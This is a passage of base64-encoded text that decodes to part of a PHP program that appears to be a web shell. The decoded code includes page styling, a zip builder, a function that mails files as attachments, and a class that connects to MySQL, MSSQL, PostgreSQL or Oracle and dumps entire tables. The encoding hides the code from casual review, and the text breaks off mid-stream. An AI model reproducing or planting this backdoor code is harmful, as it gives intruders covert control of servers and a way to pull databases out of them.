hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KYm9yZGVyCQkJOiBXaGl0ZSBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQo8L1NUWUxFPg0KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4NCmZ1bmN0aW9uIGhpZGVfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MDtcJzsNCn0NCmZ1bmN0aW9uIHNob3dfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7DQp9DQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpDQp7DQogIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9PSBcJ25vbmVcJykNCiAgICBzaG93X2RpdihpZCk7DQogIGVsc2UNCiAgICBoaWRlX2RpdihpZCk7DQp9DQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0KICAgIHZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCiAgICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCAwKTsNCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICRoZXhkdGltZTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ICs9IHN0cmxlbigkZnIpOw0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQogICAgICAgIHJldHVybg0KICAgICAgICAgICAgJGRhdGEgLg0KICAgICAgICAgICAgJGN0cmxkaXIgLg0KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuDQogICAgICAgICAgICAiXHgwMFx4MDAiOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpDQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsNCiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmJ6Mic7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQogICAgICAgICRmaWxlZHVtcCA9IGJ6Y29tcHJlc3MoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgCSRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAJJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KICAgICB9DQogfQ0KZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCkNCiB7DQogJGhlYWRlcnMgID0gIkZyb206ICRmcm9tXHJcbiI7DQogJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQogJGhlYWRlcnMgLj0gIjsgbmFtZT1cIiIuJGF0dGFjaFsnbmFtZSddLiJcIlxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuXHJcbiI7DQogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQogaWYoQG1haWwoJHRvLCRzdWJqLCIiLCRoZWFkZXJzKSkgeyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVzZXIgPSAnJzsNCiB2YXIgJHBhc3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAgPSAnJzsNCiB2YXIgJGNvbm5lY3Rpb247DQogdmFyICRyZXM7DQogdmFyICRlcnJvcjsNCiB2YXIgJHJvd3M7DQogdmFyICRjb2x1bW5zOw0KIHZhciAkbnVtX3Jvd3M7DQogdmFyICRudW1fZmllbGRzOw0KIHZhciAkZHVtcDsNCg0KIGZ1bmN0aW9uIGNvbm5lY3QoKQ0KICB7DQogIAlzd2l0Y2goJHRoaXMtPmRiKQ0KICAgICB7DQogIAkgY2FzZSAnTXlTUUwnOg0KICAJICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAJICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAJIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KICAgICBicmVhazsNCiAgICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCiAgICAgICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsNCiAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIH0NCiAgICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gc2VsZWN0X2RiKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQoNCiBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpDQogIHsNCiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgICAgcmV0dXJuIDA7DQogICAgICB9DQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0NCiAgICAgcmV0dXJuIDI7DQogIAlicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQG1zc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOw0KICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7DQogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOw0KICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgfQ0KICAgcmV0dXJuIDA7DQogIH0NCiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCiAgew0KICAgaWYoZW1wdHkoJHRhYmxlKSkgcmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcD1hcnJheSgpOw0KICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOw0KICAgJHRoaXMtPmR1bXBbMV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsNCiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOw0KICAgJHRoaXMtPmR1bXBbNF0gPSAnIyMgICAgVGFibGU6ICcuJHRhYmxlOw0KICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAJICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIG